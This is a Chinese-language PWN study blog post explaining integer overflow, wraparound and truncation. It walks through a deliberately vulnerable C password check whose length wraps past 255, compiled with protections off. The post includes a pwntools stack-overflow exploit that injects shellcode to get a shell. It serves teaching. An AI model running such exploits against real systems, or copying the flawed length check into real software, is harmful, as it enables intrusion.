PWN学习之整数溢出
PWN学习之整数溢出
整数溢出
如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出发生之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。
关于整数的异常情况主要有三种:
- (1)溢出,只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。
溢出标志OF可检测有符号数的溢出; - (2)回绕,无符号数0-1时会变成最大的数,如1字节的无符号数会变为255,而255+1会变成最小数0。
进位标志CF可检测无符号数的回绕; - (3)截断,将一个较大宽度的数存入一个宽度小的操作数中,
高位发生截断。
溢出和回绕
溢出分为上溢出和下溢出两种,上溢出是正数超过了最大数后溢出其OF标志寄存器为1,下溢出是负数超过了最大分为后OF标志寄存器为1,下面是我在Windows7中用VC6进行的演示。


接下来是环绕,是无符号数据的测试。
add指令前

add指令后

sub指令前

sub指令后

漏洞多发函数
整数溢出要配合其他类型的缺陷才能有用,下面的两个函数都有一个size_t类型的参数(size_t是无符号整数类型的sizeof()的结果),常常被误用而产生整数溢出,接着就可能导致缓冲区溢出漏洞。
这两个函数都有一个size_t的参数,是无符号整型,当有符号负数作为n的参数时候,就会环路产生最大的无符号数。
#inlcude <string.h>
void *memcpy (void *dest,const void *src,size_t n);
char *strncpy(char *dest,const char *src,size_t n);
整数溢出例子
#include <stdio.h>
#include <string.h>
/********************************
* 验证密码函数
*********************************/
void validate_password(char *password)
{
//定义一个buffer
char password_buf[11];
//取出passwd的长度
unsigned char passwd_len = strlen(password);
//进行密码验证 要求密码长度在4和8之间
if(passwd_len >= 4 && passwd_len <=8)
{
printf("good!\n");
strcpy(password_buf,password);//将密码拷贝到buffer中
}
else
{
printf("bad!\n");
}
}
//程序入口点
int main(int argc,char *argv[])
{
validate_password(argv[1]);
}
上面的代码我做了详细的注释,可以看出他的功能是要求用户输入一个密码,并且要求长度在4-8之间,然后拷贝到buffer中。
讲真的我要是不学整数溢出之前,我也看不出这代码哪里有问题,各位大佬的火眼金睛是否能发现?
没错问题就出在11行,这里strlen函数返回的类型是size_t也就是无符号整型,我们都知道无符号整型的取值范围是0~4294967295(32位),也就是0xFFFFFFFF 4个字节,而他被存储在了一个unsigned char的变量中,unsigned char其实就是byte 最大数值是255即0xFF 1个字节,所以当我们的密码长度为256的时候就发生环路,长度就变成了0,而我们只要满足他的条件即 260=4、261=5、262=6、263=7、264=8都能绕过验证,并且我们在绕过验证后下面的strcpy将那么大的字符串数据进行拷贝时候缓冲区又会发生溢出,从而可以利用栈漏洞攻击拿到Shell。
#关闭所有防护 进行编译
gcc -m32 -fno-stack-protector -z execstack -no-pie -z norelro -o Integer_bug Integer_bug.c
先来进行测试下,输入长度1和长度4的字符串。

OK接下来生成超过260的字符串,然后运行后看什么数据覆盖到了eip寄存器,再用cyclic -l来计算出位置。

显示24个字符后即可覆盖掉eip寄存器。

下面可以来构造payload了。
from pwn import *
#初始化PWN环境
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'debug'
p = process("./Integer_bug")
#payload
retAddress = p32(0xffffd408) #ebp地址
padding = b'A' * 24 #填充
shellcode = asm(shellcraft.sh())#shellcode
sledding = '\x90' * 20 #滑雪橇
bypass = b'B' * (261-len(retAddress)-len(padding)-len(shellcode)-len(sledding))
payload = padding + retAddress + sledding + shellcode+bypass
#攻击
p.send(payload)
p.interactive()
经过测试不知道是不是gcc版本太高的缘故,执行poc后会断在strlen函数里面,可能新版gcc对strlen函数进行加强了吗?
各位有低版本的gcc或者Linux系统可以进行测试下。

PWN学习之整数溢出的更多相关文章
- PWN INTEGER OVERFLOW 整数溢出
0x00 Preview Last few passage I didn't conclude some important points and a general direction o ...
- PWN学习之格式化字符串漏洞
目录 PWN学习之格式化字符串漏洞 格式化输出函数 格式化字符串漏洞 漏洞利用 使程序崩溃 栈数据泄露 任意地址内存泄漏 栈数据覆盖 任意地址内存覆盖 PWN学习之格式化字符串漏洞 格式化输出函数 可 ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- BEC合约整数溢出漏洞还原与分析
一.币圈一秒,人间一年 有道是币圈一日,人间一年.这个说法又得升级了,叫币圈一秒,人间一年. 前不久,币圈又出大事啦.BEC智能合约被爆出整数溢出漏洞,导致黑客能无限印币,在一次交易中,也就那么几秒钟 ...
- PWN学习之栈溢出
目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...
- Pwn学习随笔
Pwn题做题流程 使用checksec检查ELF文件保护开启的状态 IDApro逆向分析程序漏洞(逻辑复杂的可以使用动态调试) 编写python的exp脚本进行攻击 (若攻击不成功)进行GDB动态调试 ...
- Linux Kernel 整数溢出漏洞
漏洞名称: Linux Kernel 整数溢出漏洞 CNNVD编号: CNNVD-201311-062 发布时间: 2013-11-07 更新时间: 2013-11-07 危害等级: 漏洞类型: ...
- 程序员---C语言细节7(增加两个整数溢出检测)
主要内容:增加两个整数溢出检测 #include <stdio.h> #include <limits.h> int main(int argc, char *argv[]) ...
- CSS学习笔记:溢出文本省略(text-overflow)
原文:CSS学习笔记:溢出文本省略(text-overflow) 在CSS3中,text-overflow属性的基本语法如下: clip:表示不显示省略文本,简单的裁切. ellipsis:表示对象文 ...
随机推荐
- Groovy系列(3)- Groovy基础语法
Groovy基础语法 动态类型 Groovy定义变量时:可以用Groovy风格的def声明,不指定类型:也可以兼容Java风格,指定变量类型:甚至还可以省略def或类型 def t1 = 't1' S ...
- mongodb linux基本启动 基础增删改 mysql语法的对比
一.主流数据源类型 还存在自定义数据源以及REST接口数据,共6中数据源. 二.linux下启动连接数据库 进去mongodb的目录启动服务:mongo --host 192.168.320.826 ...
- Pycharm 使用问题一览
1. I'm not sure if it is the problem of Pycharm or any other IDE. 需要从本地文件中导入文件,但总是出现波浪线,按ctril点进去发现是 ...
- jmeter性能实战
概述 性能测试: 通过并发工具请求服务器,提前发现性能问题,优化并解决 为什么做性能测试? 常规需求 用户反馈性能问题 项目对性能不放心 性能测试的最终目标:? 性能指标分析 多快好省 项目性能场景提 ...
- P4831-Scarlet loves WenHuaKe【组合数学】
正题 题目链接:https://www.luogu.com.cn/problem/P4831 题目大意 \(n*m\)的网格上放置\(2n\)个炮,要求互不能攻击. 数据满足\(n\leq m\leq ...
- 最详细STL(一)vector
vector的本质还是数组,但是可以动态的增加和减少数组的容量(当数组空间内存不足时,都会执行: 分配新空间-复制元素-释放原空间),首先先讲讲vector和数组的具体区别 一.vector和数组的区 ...
- 新一代容器平台ACK Anywhere,来了
5G.AR.AIoT 等场景在推动新一代云架构的演进,而容器重塑了云的使用方式. 近日,阿里云容器服务全面升级为ACK Anywhere,让企业在任何需要云的地方,都能获得一致的容器基础设施能力. 早 ...
- oracle数据导入"HIST_GRAM_LIST_ITEM"问题处理
1.问题显示 处理对象类型 SCHEMA_EXPORT/TABLE/CONSTRAINT/REF_CONSTRAINT ORA-39083: 对象类型 REF_CONSTRAINT 创建失败, 出现错 ...
- ECMA 2022 (es13) 新特性
本文主要整理了截至到 2021年10月12日 为止的且处于 Stage 3->Stage 4 阶段的ECMA提案. 主要包括: Class Fields RegExp Match Indices ...
- Go语言核心36讲(Go语言基础知识四)--学习笔记
04 | 程序实体的那些事儿(上) 还记得吗?Go 语言中的程序实体包括变量.常量.函数.结构体和接口. Go 语言是静态类型的编程语言,所以我们在声明变量或常量的时候,都需要指定它们的类型,或者给予 ...